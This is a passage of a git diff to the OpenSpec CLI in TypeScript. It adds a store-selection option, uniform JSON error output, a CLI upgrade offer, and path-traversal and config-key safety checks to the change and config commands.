offerCliUpgrade, + rerunUpdateWithUpgradedCli, + displayUpgradeCommand, + isSourceCheckout, +} from '../core/version-check.js'; import { ListCommand } from '../core/list.js'; -import { ArchiveCommand } from '../core/archive.js'; +import { ArchiveCommand, type ArchiveOptions } from '../core/archive.js'; import { ViewCommand } from '../core/view.js'; +import { resolveRootForCommand, toRootOutput } from '../core/root-selection.js'; import { registerSpecCommand } from '../commands/spec.js'; import { ChangeCommand } from '../commands/change.js'; import { ValidateCommand } from '../commands/validate.js'; @@ -16,10 +29,15 @@ import { CompletionCommand } from '../commands/completion.js'; import { FeedbackCommand } from '../commands/feedback.js'; import { registerConfigCommand } from '../commands/config.js'; import { registerSchemaCommand } from '../commands/schema.js'; +import { registerStoreCommand } from '../commands/store.js'; +import { registerDoctorCommand } from '../commands/doctor.js'; +import { registerContextCommand } from '../commands/context.js'; +import { registerWorksetCommand } from '../commands/workset.js'; import { statusCommand, instructionsCommand, applyInstructionsCommand, + archiveInstructionsCommand, templatesCommand, schemasCommand, newChangeCommand, @@ -31,6 +49,47 @@ import { type NewChangeOptions, } from '../commands/workflow/index.js'; import { maybeShowTelemetryNotice, trackCommand, shutdown } from '../telemetry/index.js'; +import { COMMON_FLAGS } from '../core/completions/shared-flags.js'; +import { isInteractive } from '../utils/interactive.js'; + +const STORE_OPTION_DESCRIPTION = COMMON_FLAGS.store.description; + +// Deliberate rejection path: --store-path stays registered (hidden) so the +// resolver can explain that registering the path is the supported route, +// instead of Commander emitting a generic unknown-option error (or, for +// `show`, silently ignoring it via allowUnknownOption). +function hiddenStorePathOption(): Option { + return new Option( + '--store-path <path>', + 'Not supported; register the path with "openspec store register <path>" and use --store <id>' + ).hideHelp(); +} + +function failWithError( + error: unknown, + json?: { enabled: boolean | undefined; payload?: Record<string, unknown>; fallbackCode?: string } +): void { + // The agent contract: every --json failure leaves exactly one JSON + // document on stdout (the command's null-shape plus a status array). + if (json?.enabled) { + console.log( + JSON.stringify( + { ...(json.payload ?? {}), status: [asStatus(error, json.fallbackCode ?? 'command_error')] }, + null, + 2 + ) + ); + process.exitCode = 1; + return; + } + ora().fail(`Error: ${(error as Error).message}`); + // Resolution and store errors carry a pasteable fix - never drop it. + const fix = (error as { diagnostic?: { fix?: string } }).diagnostic?.fix; + if (fix) { + console.error(`Fix: ${fix}`); + } + process.exitCode = process.exitCode ?? 1; +} const program = new Command(); const require = createRequire(import.meta.url); @@ -40,7 +99,7 @@ const { version } = require('../../package.json'); * Get the full command path for nested commands. * For example: 'change show' -> 'change:show' */ -function getCommandPath(command: Command): string { +export function getCommandPath(command: Command): string { const names: string[] = []; let current: Command | null = command; @@ -87,8 +146,13 @@ program.hook('postAction', async () => { await shutdown(); }); -const availableToolIds = AI_TOOLS.filter((tool) => tool.skillsDir).map((tool) => tool.value); -const toolsOptionDescription = `Configure AI tools non-interactively. Use "all", "none", or a comma-separated list of: ${availableToolIds.join(', ')}`; +const availableToolIds = AI_TOOLS + .filter((tool) => tool.skillsDir || tool.globalSkillsDir) + .map((tool) => tool.value); +const toolAliasNote = Object.entries(TOOL_ID_ALIASES) + .map(([retired, current]) => `${retired} (now ${current})`) + .join(', '); +const toolsOptionDescription = `Configure AI tools non-interactively. Use "all", "none", or a comma-separated list of: ${availableToolIds.join(', ')}. Also accepted: ${toolAliasNote}`; program .command('init [path]') @@ -96,7 +160,10 @@ program .option('--tools <tools>', toolsOptionDescription) .option('--force', 'Auto-cleanup legacy files without prompting') .option('--profile <profile>', 'Override global config profile (core or custom)') - .action(async (targetPath = '.', options?: { tools?: string; force?: boolean; profile?: string }) => { + .option('--no-animation', 'Show a static welcome screen instead of the animated one') + .option('--copilot-cloud', 'Set up GitHub Copilot cloud coding-agent files without prompting') + .option('--no-copilot-cloud', 'Skip GitHub Copilot cloud coding-agent files without prompting') + .action(async (targetPath = '.', options?: { tools?: string; force?: boolean; profile?: string; animation?: boolean; copilotCloud?: boolean }) => { try { // Validate that the path is a valid directory const resolvedPath = path.resolve(targetPath); @@ -122,11 +189,12 @@ program tools: options?.tools, force: options?.force, profile: options?.profile, + animation: options?.animation, + copilotCloud: options?.copilotCloud, }); await initCommand.execute(targetPath); } catch (error) { - console.log(); // Empty line for spacing - ora().fail(`Error: ${(error as Error).message}`); + failWithError(error); process.exit(1); } }); @@ -147,8 +215,7 @@ program }); await initCommand.execute('.'); } catch (error) { - console.log(); - ora().fail(`Error: ${(error as Error).message}`); + failWithError(error); process.exit(1); } }); @@ -159,12 +226,61 @@ program .option('--force', 'Force update even when tools are up to date') .action(async (targetPath = '.', options?: { force?: boolean }) => { try { - const resolvedPath = path.resolve(targetPath); + const installDir = getInstallDir(); + // Running from a clone: the version is whatever the branch says, so any + // upgrade advice would be noise. Decided before the request, so a + // contributor never waits on an answer that gets thrown away. + const latestVersion = isSourceCheckout(installDir) ? null : await getAvailableCliUpdate(); + const announce = latestVersion !== null; + // Offer to upgrade first: this process generates files from its own + // templates, so upgrading afterwards would leave the old ones on disk. + // Both streams must be a terminal — with stdout redirected the question + // lands in the file and the user waits at a blank screen forever. + const canOffer = + announce && + shouldOfferUpgrade({ + installDir, + projectPath: targetPath, + interactive: isInteractive(), + stdoutIsTty: Boolean(process.stdout.isTTY), + }); + + let declined = false; + if (latestVersion && canOffer) { + displayCliUpdateNote(latestVersion, targetPath, { withCommand: false }); + const outcome = await offerCliUpgrade(latestVersion); + + // Set the code and return rather than process.exit: exiting here would + // skip commander's postAction hook, killing the telemetry flush + // mid-request. + if (outcome === 'cancelled') { + // Ctrl-C means stop the command, not fall through to more prompts. + process.exitCode = 130; + return; + } + if (outcome === 'upgraded') { + process.exitCode = await rerunUpdateWithUpgradedCli(targetPath, { + force: options?.force, + }); + return; + } + // Declined, failed, or upgraded-but-unreachable: fall through to the + // update, then leave the command on screen underneath it. + declined = true; + } + const updateCommand = new UpdateCommand({ force: options?.force }); - await updateCommand.execute(resolvedPath); + await updateCommand.execute(targetPath); + + if (declined) { + // The headline was printed before the prompt; only the manual route is + // still owed, and it belongs where the user is looking now. + displayUpgradeCommand(targetPath); + } else if (latestVersion) { + displayCliUpdateNote(latestVersion, targetPath); + } } catch (error) { - console.log(); // Empty line for spacing - ora().fail(`Error: ${(error as Error).message}`); + failWithError(error); process.exit(1); } }); @@ -176,15 +292,31 @@ program .option('--changes', 'List changes explicitly (default)') .option('--sort <order>', 'Sort order: "recent" (default) or "name"', 'recent') .option('--json', 'Output as JSON (for programmatic use)') - .action(async (options?: { specs?: boolean; changes?: boolean; sort?: string; json?: boolean }) => { + .option('--store <id>', STORE_OPTION_DESCRIPTION) + .addOption(hiddenStorePathOption()) + .action(async (options?: { specs?: boolean; changes?: boolean; sort?: string; json?: boolean; store?: string; storePath?: string }) => { try { + const root = await resolveRootForCommand(options ?? {}, { + json: options?.json, + failurePayload: options?.specs ? { specs: [], root: null } : { changes: [], root: null }, + }); + if (!root) { + return; + } const listCommand = new ListCommand(); const mode: 'changes' | 'specs' = options?.specs ? 'specs' : 'changes'; const sort = options?.sort === 'name' ? 'name' : 'recent'; - await listCommand.execute('.', mode, { sort, json: options?.json }); + await listCommand.execute(root.path, mode, { + sort, + json: options?.json, + ...(options?.json ? { root: toRootOutput(root) } : {}), + }); } catch (error) { - console.log(); // Empty line for spacing - ora().fail(`Error: ${(error as Error).message}`); + failWithError(error, { + enabled: options?.json, + payload: options?.specs ? { specs: [], root: null } : { changes: [], root: null }, + fallbackCode: 'list_error', + }); process.exit(1); } }); @@ -192,13 +324,21 @@ program program .command('view') .description('Display an interactive dashboard of specs and changes') - .action(async () => { + .option('--store <id>', STORE_OPTION_DESCRIPTION) + .addOption(hiddenStorePathOption()) + .action(async (options?: { store?: string; storePath?: string }) => { try { + // Implicit cwd fallback stays enabled so `view` keeps accepting the same + // directories as `list`/`status` — notably pre-config.yaml `openspec/` + // dirs. ViewCommand still reports a missing openspec/ directory itself. + const root = await resolveRootForCommand(options ?? {}); + if (!root) { + return; + } const viewCommand = new ViewCommand(); - await viewCommand.execute('.'); + await viewCommand.execute(root.path); } catch (error) { - console.log(); // Empty line for spacing - ora().fail(`Error: ${(error as Error).message}`); + failWithError(error); process.exit(1); } }); @@ -271,13 +411,15 @@ program .option('-y, --yes', 'Skip confirmation prompts') .option('--skip-specs', 'Skip spec update operations (useful for infrastructure, tooling, or doc-only changes)') .option('--no-validate', 'Skip validation (not recommended, requires confirmation)') - .action(async (changeName?: string, options?: { yes?: boolean; skipSpecs?: boolean; noValidate?: boolean; validate?: boolean }) => { + .option('--json', 'Output as JSON (non-interactive)') + .option('--store <id>', STORE_OPTION_DESCRIPTION) + .addOption(hiddenStorePathOption()) + .action(async (changeName?: string, options?: ArchiveOptions) => { try { const archiveCommand = new ArchiveCommand(); await archiveCommand.execute(changeName, options); } catch (error) { - console.log(); // Empty line for spacing - ora().fail(`Error: ${(error as Error).message}`); + failWithError(error); process.exit(1); } }); @@ -285,6 +427,10 @@ program registerSpecCommand(program); registerConfigCommand(program); registerSchemaCommand(program); +registerStoreCommand(program); +registerDoctorCommand(program); +registerContextCommand(program); +registerWorksetCommand(program); // Top-level validate command program @@ -298,13 +444,14 @@ program .option('--json', 'Output validation results as JSON') .option('--concurrency <n>', 'Max concurrent validations (defaults to env OPENSPEC_CONCURRENCY or 6)') .option('--no-interactive', 'Disable interactive prompts') - .action(async (itemName?: string, options?: { all?: boolean; changes?: boolean; specs?: boolean; type?: string; strict?: boolean; json?: boolean; noInteractive?: boolean; concurrency?: string }) => { + .option('--store <id>', STORE_OPTION_DESCRIPTION) + .addOption(hiddenStorePathOption()) + .action(async (itemName?: string, options?: { all?: boolean; changes?: boolean; specs?: boolean; type?: string; strict?: boolean; json?: boolean; noInteractive?: boolean; concurrency?: string; store?: string; storePath?: string }) => { try { const validateCommand = new ValidateCommand(); await validateCommand.execute(itemName, options); } catch (error) { - console.log(); - ora().fail(`Error: ${(error as Error).message}`); + failWithError(error, { enabled: options?.json, fallbackCode: 'validate_error' }); process.exit(1); } }); @@ -323,6 +470,10 @@ program .option('--requirements', 'JSON only: Show only requirements (exclude scenarios)') .option('--no-scenarios', 'JSON only: Exclude scenario content') .option('-r, --requirement <id>', 'JSON only: Show specific requirement by ID (1-based)') + .option('--store <id>', STORE_OPTION_DESCRIPTION) + // Explicit registration required: allowUnknownOption would otherwise + // silently swallow --store-path instead of rejecting it deliberately. + .addOption(hiddenStorePathOption()) // allow unknown options to pass-through to underlying command implementation .allowUnknownOption(true) .action(async (itemName?: string, options?: { json?: boolean; type?: string; noInteractive?: boolean; [k: string]: any }) => { @@ -330,8 +481,7 @@ program const showCommand = new ShowCommand(); await showCommand.execute(itemName, options ?? {}); } catch (error) { - console.log(); - ora().fail(`Error: ${(error as Error).message}`); + failWithError(error, { enabled: options?.json, fallbackCode: 'show_error' }); process.exit(1); } }); @@ -346,8 +496,7 @@ program const feedbackCommand = new FeedbackCommand(); await feedbackCommand.execute(message, options); } catch (error) { - console.log(); - ora().fail(`Error: ${(error as Error).message}`); + failWithError(error); process.exit(1); } }); @@ -365,8 +514,7 @@ completionCmd const completionCommand = new CompletionCommand(); await completionCommand.generate({ shell }); } catch (error) { - console.log(); - ora().fail(`Error: ${(error as Error).message}`); + failWithError(error); process.exit(1); } }); @@ -380,8 +528,7 @@ completionCmd const completionCommand = new CompletionCommand(); await completionCommand.install({ shell, verbose: options?.verbose }); } catch (error) { - console.log(); - ora().fail(`Error: ${(error as Error).message}`); + failWithError(error); process.exit(1); } }); @@ -395,8 +542,7 @@ completionCmd const completionCommand = new CompletionCommand(); await completionCommand.uninstall({ shell, yes: options?.yes }); } catch (error) { - console.log(); - ora().fail(`Error: ${(error as Error).message}`); + failWithError(error); process.exit(1); } }); @@ -426,12 +572,13 @@ program .option('--change <id>', 'Change name to show status for') .option('--schema <name>', 'Schema override (auto-detected from config.yaml)') .option('--json', 'Output as JSON') + .option('--store <id>', STORE_OPTION_DESCRIPTION) + .addOption(hiddenStorePathOption()) .action(async (options: StatusOptions) => { try { await statusCommand(options); } catch (error) { - console.log(); - ora().fail(`Error: ${(error as Error).message}`); + failWithError(error, { enabled: options.json, fallbackCode: 'change_error' }); process.exit(1); } }); @@ -439,21 +586,24 @@ program // Instructions command program .command('instructions [artifact]') - .description('Output enriched instructions for creating an artifact or applying tasks') + .description('Output enriched instructions for artifacts, apply, or archive') .option('--change <id>', 'Change name') .option('--schema <name>', 'Schema override (auto-detected from config.yaml)') .option('--json', 'Output as JSON') + .option('--store <id>', STORE_OPTION_DESCRIPTION) + .addOption(hiddenStorePathOption()) .action(async (artifactId: string | undefined, options: InstructionsOptions) => { try { - // Special case: "apply" is not an artifact, but a command to get apply instructions + // Workflow instruction surfaces are reserved command branches, not artifacts. if (artifactId === 'apply') { await applyInstructionsCommand(options); + } else if (artifactId === 'archive') { + await archiveInstructionsCommand(options); } else { await instructionsCommand(artifactId, options); } } catch (error) { - console.log(); - ora().fail(`Error: ${(error as Error).message}`); + failWithError(error, { enabled: options.json, fallbackCode: 'change_error' }); process.exit(1); } }); @@ -468,8 +618,7 @@ program try { await templatesCommand(options); } catch (error) { - console.log(); - ora().fail(`Error: ${(error as Error).message}`); + failWithError(error); process.exit(1); } }); @@ -483,8 +632,7 @@ program try { await schemasCommand(options); } catch (error) { - console.log(); - ora().fail(`Error: ${(error as Error).message}`); + failWithError(error); process.exit(1); } }); @@ -496,15 +644,30 @@ newCmd .command('change <name>') .description('Create a new change directory') .option('--description <text>', 'Description to add to README.md') + .option('--goal <text>', 'Optional goal metadata to store with the change') .option('--schema <name>', `Workflow schema to use (default: ${DEFAULT_SCHEMA})`) + .option('--json', 'Output as JSON') + .option('--store <id>', STORE_OPTION_DESCRIPTION) + .addOption(hiddenStorePathOption()) + // Removed options kept registered (hidden) so users get a deliberate + // explanation instead of a generic unknown-option error. + .addOption(new Option('--initiative <id>', 'No longer supported').hideHelp()) + .addOption(new Option('--areas <names>', 'No longer supported').hideHelp()) .action(async (name: string, options: NewChangeOptions) => { try { await newChangeCommand(name, options); } catch (error) { - console.log(); - ora().fail(`Error: ${(error as Error).message}`); + failWithError(error); process.exit(1); } }); -program.parse(); +export { program }; + +export function runCli(argv = process.argv): void { + program.parse(argv); +} + +if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) { + runCli(); +} diff --git a/src/commands/change.ts b/src/commands/change.ts index 051b4697c6..4c58af7892 100644 --- a/src/commands/change.ts +++ b/src/commands/change.ts @@ -2,21 +2,49 @@ import { promises as fs } from 'fs'; import path from 'path'; import { JsonConverter } from '../core/converters/json-converter.js'; import { Validator } from '../core/validation/validator.js'; +import { VALIDATION_MESSAGES } from '../core/validation/constants.js'; import { ChangeParser } from '../core/parsers/change-parser.js'; import { Change } from '../core/schemas/index.js'; +import type { RootOutput } from '../core/root-selection.js'; import { isInteractive } from '../utils/interactive.js'; import { getActiveChangeIds } from '../utils/item-discovery.js'; +import { getTaskProgressForChange } from '../utils/task-progress.js'; +import { FileSystemUtils } from '../utils/file-system.js'; -// Constants for better maintainability -const ARCHIVE_DIR = 'archive'; -const TASK_PATTERN = /^[-*]\s+\[[\sx]\]/i; -const COMPLETED_TASK_PATTERN = /^[-*]\s+\[x\]/i; +/** + * True only when `target` is definitively absent. An EACCES or I/O failure + * means existence cannot be determined, so callers fall through to their + * read-error path rather than claim the file was never written. + */ +async function isDefinitelyMissing(target: string): Promise<boolean> { + return fs + .access(target) + .then(() => false) + .catch((error: NodeJS.ErrnoException) => error?.code === 'ENOENT'); +} + +/** + * A change is a directory directly under changes/. Rejecting anything else up + * front keeps a traversing name (`../..`) from reading a proposal outside the + * changes directory, and keeps the missing-proposal message honest. + */ +function isChangeDirectoryName(changesPath: string, changeDir: string): boolean { + return path.dirname(path.resolve(changeDir)) === path.resolve(changesPath); +} export class ChangeCommand { private converter: JsonConverter; + private rootPath?: string; - constructor() { + // rootPath is set only by root-aware callers (top-level `show`); the + // deprecated noun-form commands stay cwd-based. + constructor(rootPath?: string) { this.converter = new JsonConverter(); + this.rootPath = rootPath; + } + + private getChangesPath(): string { + return path.join(this.rootPath ?? process.cwd(), 'openspec', 'changes'); } /** @@ -25,12 +53,13 @@ export class ChangeCommand { * - JSON mode: minimal object with deltas; --deltas-only returns same object with filtered deltas * Note: --requirements-only is deprecated alias for --deltas-only */ - async show(changeName?: string, options?: { json?: boolean; requirementsOnly?: boolean; deltasOnly?: boolean; noInteractive?: boolean }): Promise<void> { - const changesPath = path.join(process.cwd(), 'openspec', 'changes'); + async show(changeName?: string, options?: { json?: boolean; requirementsOnly?: boolean; deltasOnly?: boolean; noInteractive?: boolean; rootOutput?: RootOutput }): Promise<void> { + const changesPath = this.getChangesPath(); if (!changeName) { const canPrompt = isInteractive(options); - const changes = await this.getActiveChanges(changesPath); + // Offer exactly the changes `show <name>` can resolve. + const changes = await getActiveChangeIds(this.rootPath ?? process.cwd()); if (canPrompt && changes.length > 0) { const { select } = await import('@inquirer/prompts'); const selected = await select({ @@ -50,15 +79,38 @@ export class ChangeCommand { } } - const proposalPath = path.join(changesPath, changeName, 'proposal.md'); + const changeDir = path.join(changesPath, changeName); + const proposalPath = path.join(changeDir, 'proposal.md'); + + if (!isChangeDirectoryName(changesPath, changeDir)) { + throw new Error(`Change "${changeName}" not found at ${proposalPath}`); + } try { await fs.access(proposalPath); } catch { + // A change can exist without a proposal: `openspec new change` scaffolds + // only .openspec.yaml, and a custom schema need not define a proposal + // artifact. Say which of the two cases this is instead of reporting a + // change that does exist as missing. A stray file under changes/ is not a + // change, and naming it one would point the user at a `status --change` + // call that cannot work. + const isChangeDirectory = await fs + .stat(changeDir) + .then((stats) => stats.isDirectory()) + .catch(() => false); + if (isChangeDirectory) { + throw new Error( + `Change "${changeName}" has no proposal.md yet. ` + + `Run "openspec status --change ${changeName}" to see which artifact comes next.` + ); + } throw new Error(`Change "${changeName}" not found at ${proposalPath}`); } + FileSystemUtils.assertPathWithin(path.dirname(proposalPath), proposalPath); if (options?.json) { + FileSystemUtils.assertPathWithin(changeDir, proposalPath); const jsonOutput = await this.converter.convertChangeToJson(proposalPath); if (options.requirementsOnly) { @@ -66,24 +118,22 @@ export class ChangeCommand { } const parsed: Change = JSON.parse(jsonOutput); + FileSystemUtils.assertPathWithin(changeDir, proposalPath); const contentForTitle = await fs.readFile(proposalPath, 'utf-8'); const title = this.extractTitle(contentForTitle, changeName); const id = parsed.name; const deltas = parsed.deltas || []; - if (options.requirementsOnly || options.deltasOnly) { - const output = { id, title, deltaCount: deltas.length, deltas }; - console.log(JSON.stringify(output, null, 2)); - } else { - const output = { - id, - title, - deltaCount: deltas.length, - deltas, - }; - console.log(JSON.stringify(output, null, 2)); - } + const output = { + id, + title, + deltaCount: deltas.length, + deltas, + ...(options.rootOutput ? { root: options.rootOutput } : {}), + }; + console.log(JSON.stringify(output, null, 2)); } else { + FileSystemUtils.assertPathWithin(changeDir, proposalPath); const content = await fs.readFile(proposalPath, 'utf-8'); console.log(content); } @@ -97,44 +147,45 @@ export class ChangeCommand { async list(options?: { json?: boolean; long?: boolean }): Promise<void> { const changesPath = path.join(process.cwd(), 'openspec', 'changes'); - const changes = await this.getActiveChanges(changesPath); - + // Same directory-based resolution as `openspec list`, the command this + // deprecated alias points users at. Every output path below already + // tolerates a change whose proposal.md is missing or unreadable. + const changes = await getActiveChangeIds(); + if (options?.json) { const changeDetails = await Promise.all( changes.map(async (changeName) => { - const proposalPath = path.join(changesPath, changeName, 'proposal.md'); - const tasksPath = path.join(changesPath, changeName, 'tasks.md'); - + const changeDir = path.join(changesPath, changeName); + const proposalPath = path.join(changeDir, 'proposal.md'); + + // Resolve task progress through the shared tracked-tasks helper so + // this deprecated noun-form list cannot re-fork the resolution + // (#1202). Tasks are independent of the proposal: a change can carry + // tasks before, or without, a proposal.md. + const taskStatus = await getTaskProgressForChange(changesPath, changeName, process.cwd()); + + // No proposal yet is an ordinary state (scaffolded change, or a + // schema with no proposal artifact), so name the change rather than + // labelling it Unknown. Unknown stays for a proposal that exists but + // cannot be read or parsed. + if (await isDefinitelyMissing(proposalPath)) { + return { id: changeName, title: changeName, deltaCount: 0, taskStatus }; + } + try { + FileSystemUtils.assertPathWithin(changeDir, proposalPath); const content = await fs.readFile(proposalPath, 'utf-8'); - const changeDir = path.join(changesPath, changeName); const parser = new ChangeParser(content, changeDir); const change = await parser.parseChangeWithDeltas(changeName); - - let taskStatus = { total: 0, completed: 0 }; - try { - const tasksContent = await fs.readFile(tasksPath, 'utf-8'); - taskStatus = this.countTasks(tasksContent); - } catch (error) { - // Tasks file may not exist, which is okay - if (process.env.DEBUG) { - console.error(`Failed to read tasks file at ${tasksPath}:`, error); - } - } - + return { id: changeName, title: this.extractTitle(content, changeName), deltaCount: change.deltas.length, taskStatus, }; - } catch (error) { - return { - id: changeName, - title: 'Unknown', - deltaCount: 0, - taskStatus: { total: 0, completed: 0 }, - }; + } catch { + return { id: changeName, title: 'Unknown', deltaCount: 0, taskStatus }; } }) ); @@ -155,28 +206,24 @@ export class ChangeCommand { // Long format: id: title and minimal counts for (const changeName of sorted) { - const proposalPath = path.join(changesPath, changeName, 'proposal.md'); - const tasksPath = path.join(changesPath, changeName, 'tasks.md'); + const changeDir = path.join(changesPath, changeName); + const proposalPath = path.join(changeDir, 'proposal.md'); + const { total, completed } = await getTaskProgressForChange(changesPath, changeName, process.cwd()); + const taskStatusText = total > 0 ? ` [tasks ${completed}/${total}]` : ''; + if (await isDefinitelyMissing(proposalPath)) { + console.log(`${changeName}: (no proposal.md yet)${taskStatusText}`); + continue; + } try { + FileSystemUtils.assertPathWithin(changeDir, proposalPath); const content = await fs.readFile(proposalPath, 'utf-8'); const title = this.extractTitle(content, changeName); - let taskStatusText = ''; - try { - const tasksContent = await fs.readFile(tasksPath, 'utf-8'); - const { total, completed } = this.countTasks(tasksContent); - taskStatusText = ` [tasks ${completed}/${total}]`; - } catch (error) { - if (process.env.DEBUG) { - console.error(`Failed to read tasks file at ${tasksPath}:`, error); - } - } - const changeDir = path.join(changesPath, changeName); - const parser = new ChangeParser(await fs.readFile(proposalPath, 'utf-8'), changeDir); + const parser = new ChangeParser(content, changeDir); const change = await parser.parseChangeWithDeltas(changeName); const deltaCountText = ` [deltas ${change.deltas.length}]`; console.log(`${changeName}: ${title}${deltaCountText}${taskStatusText}`); } catch { - console.log(`${changeName}: (unable to read)`); + console.log(`${changeName}: (unable to read)${taskStatusText}`); } } } @@ -208,7 +255,9 @@ export class ChangeCommand { } const changeDir = path.join(changesPath, changeName); - + if (!isChangeDirectoryName(changesPath, changeDir)) { + throw new Error(`Change "${changeName}" not found at ${changeDir}`); + } try { await fs.access(changeDir); } catch { @@ -216,7 +265,12 @@ export class ChangeCommand { } const validator = new Validator(options?.strict || false); - const report = await validator.validateChangeDeltaSpecs(changeDir); + const report = await validator.validateChangeDeltaSpecs(changeDir, { + // Derived from changesPath so the main specs come from the same root the + // change itself was resolved against. + mainSpecsDir: path.join(path.dirname(changesPath), 'specs'), + projectRoot: path.dirname(path.dirname(changesPath)), + }); if (options?.json) { console.log(JSON.stringify(report, null, 2)); @@ -231,7 +285,7 @@ export class ChangeCommand { console.error(`${prefix} [${label}] ${issue.path}: ${issue.message}`); }); // Next steps footer to guide fixing issues - this.printNextSteps(); + this.printNextSteps(report.issues); if (!options?.json) { process.exitCode = 1; } @@ -239,53 +293,32 @@ export class ChangeCommand { } } - private async getActiveChanges(changesPath: string): Promise<string[]> { - try { - const entries = await fs.readdir(changesPath, { withFileTypes: true }); - const result: string[] = []; - for (const entry of entries) { - if (!entry.isDirectory() || entry.name.startsWith('.') || entry.name === ARCHIVE_DIR) continue; - const proposalPath = path.join(changesPath, entry.name, 'proposal.md'); - try { - await fs.access(proposalPath); - result.push(entry.name); - } catch { - // skip directories without proposal.md - } - } - return result.sort(); - } catch { - return []; - } - } - private extractTitle(content: string, changeName: string): string { const match = content.match(/^#\s+(?:Change:\s+)?(.+)$/im); return match ? match[1].trim() : changeName; } - private countTasks(content: string): { total: number; completed: number } { - const lines = content.split('\n'); - let total = 0; - let completed = 0; - - for (const line of lines) { - if (line.match(TASK_PATTERN)) { - total++; - if (line.match(COMPLETED_TASK_PATTERN)) { - completed++; - } - } - } - - return { total, completed }; - } - - private printNextSteps(): void { + private printNextSteps(issues: Array<{ message: string }> = []): void { const bullets: string[] = []; - bullets.push('- Ensure change has deltas in specs/: use headers ## ADDED/MODIFIED/REMOVED/RENAMED Requirements'); - bullets.push('- Each requirement MUST include at least one #### Scenario: block'); - bullets.push('- Debug parsed deltas: openspec change show <id> --json --deltas-only'); + // Branch on the exact marker messages: the generic no-deltas guidance + // also mentions skip_specs and must not trigger the marker bullets. + const conflictIssue = issues.some(i => + i.message.includes(VALIDATION_MESSAGES.CHANGE_SKIP_SPECS_CONFLICT) + ); + const invalidMarkerIssue = issues.some(i => + i.message.includes(VALIDATION_MESSAGES.CHANGE_SKIP_SPECS_INVALID_METADATA) + ); + if (conflictIssue) { + bullets.push('- This change declares skip_specs (no spec deltas): delete the files under specs/, or remove skip_specs from .openspec.yaml if requirements do change'); + bullets.push('- skip_specs is only honored when .openspec.yaml is valid change metadata (schema: <name> is required)'); + } else if (invalidMarkerIssue) { + bullets.push('- Fix .openspec.yaml so the skip_specs marker can be honored (schema: <name> is required)'); + bullets.push('- Or remove skip_specs from .openspec.yaml and add delta specs instead'); + } else { + bullets.push('- Ensure change has deltas in specs/: use headers ## ADDED/MODIFIED/REMOVED/RENAMED Requirements'); + bullets.push('- Each requirement MUST include at least one #### Scenario: block'); + bullets.push('- Debug parsed deltas: openspec change show <id> --json --deltas-only'); + } console.error('Next steps:'); bullets.forEach(b => console.error(` ${b}`)); } diff --git a/src/commands/completion.ts b/src/commands/completion.ts index bbdee7d92a..a0487e5740 100644 --- a/src/commands/completion.ts +++ b/src/commands/completion.ts @@ -279,6 +279,13 @@ export class CompletionCommand { } break; } + case 'schemas': { + const schemaNames = await this.completionProvider.getSchemaNames(); + for (const name of schemaNames) { + console.log(`${name}\tschema`); + } + break; + } case 'archived-changes': { const archivedIds = await getArchivedChangeIds(); for (const id of archivedIds) { diff --git a/src/commands/config.ts b/src/commands/config.ts index 42c736d147..e594583e7f 100644 --- a/src/commands/config.ts +++ b/src/commands/config.ts @@ -1,5 +1,5 @@ import { Command } from 'commander'; -import { spawn, execSync } from 'node:child_process'; +import { spawn } from 'node:child_process'; import * as fs from 'node:fs'; import * as path from 'node:path'; import { @@ -16,12 +16,15 @@ import { coerceValue, formatValueYaml, validateConfigKeyPath, + hasUnsafeKeySegment, validateConfig, DEFAULT_CONFIG, } from '../core/config-schema.js'; import { CORE_WORKFLOWS, ALL_WORKFLOWS, getProfileWorkflows } from '../core/profiles.js'; import { OPENSPEC_DIR_NAME } from '../core/config.js'; import { hasProjectConfigDrift } from '../core/profile-sync-drift.js'; +import { UpdateCommand } from '../core/update.js'; +import { asErrorMessage, isPromptCancellationError } from './shared-output.js'; type ProfileAction = 'both' | 'delivery' | 'workflows' | 'keep'; @@ -88,12 +91,6 @@ const WORKFLOW_PROMPT_META: Record<string, WorkflowPromptMeta> = { }, }; -function isPromptCancellationError(error: unknown): boolean { - return ( - error instanceof Error && - (error.name === 'ExitPromptError' || error.message.includes('force closed the prompt with SIGINT')) - ); -} /** * Resolve the effective current profile state from global config defaults. @@ -186,7 +183,7 @@ export function diffProfileState(before: ProfileState, after: ProfileState): Pro }; } -function maybeWarnConfigDrift( +function maybeWarnProjectConfigDrift( projectDir: string, state: ProfileState, colorize: (message: string) => string @@ -201,6 +198,10 @@ function maybeWarnConfigDrift( console.log(colorize('Warning: Global config is not applied to this project. Run `openspec update` to sync.')); } +function printConfigProfileApplyGuidance(): void { + console.log('Config updated. Run `openspec update` in your projects to apply.'); +} + /** * Register the config command and all its subcommands. * @@ -296,11 +297,15 @@ export function registerConfigCommand(program: Command): void { .action((key: string, value: string, options: { string?: boolean; allowUnknown?: boolean }) => { const allowUnknown = Boolean(options.allowUnknown); const keyValidation = validateConfigKeyPath(key); - if (!keyValidation.valid && !allowUnknown) { + // --allow-unknown relaxes the known-key check, but never the prototype-safety check. + const unsafeKey = hasUnsafeKeySegment(key); + if (!keyValidation.valid && (!allowUnknown || unsafeKey)) { const reason = keyValidation.reason ? ` ${keyValidation.reason}.` : ''; console.error(`Error: Invalid configuration key "${key}".${reason}`); console.error('Use "openspec config list" to see available keys.'); - console.error('Pass --allow-unknown to bypass this check.'); + if (!allowUnknown && !unsafeKey) { + console.error('Pass --allow-unknown to bypass this check.'); + } process.exitCode = 1; return; } @@ -461,7 +466,7 @@ export function registerConfigCommand(program: Command): void { config.workflows = [...CORE_WORKFLOWS]; // Preserve delivery setting saveGlobalConfig(config); - console.log('Config updated. Run `openspec update` in your projects to apply.'); + printConfigProfileApplyGuidance(); return; } @@ -521,7 +526,7 @@ export function registerConfigCommand(program: Command): void { if (action === 'keep') { console.log('No config changes.'); - maybeWarnConfigDrift(process.cwd(), currentState, chalk.yellow); + maybeWarnProjectConfigDrift(process.cwd(), currentState, chalk.yellow); return; } @@ -596,7 +601,7 @@ export function registerConfigCommand(program: Command): void { const diff = diffProfileState(currentState, nextState); if (!diff.hasChanges) { console.log('No config changes.'); - maybeWarnConfigDrift(process.cwd(), nextState, chalk.yellow); + maybeWarnProjectConfigDrift(process.cwd(), nextState, chalk.yellow); return; } @@ -622,17 +627,18 @@ export function registerConfigCommand(program: Command): void { if (applyNow) { try { - execSync('npx openspec update', { stdio: 'inherit', cwd: projectDir }); + await new UpdateCommand().execute(projectDir); console.log('Run `openspec update` in your other projects to apply.'); - } catch { - console.error('`openspec update` failed. Please run it manually to apply the profile changes.'); + } catch (error) { + 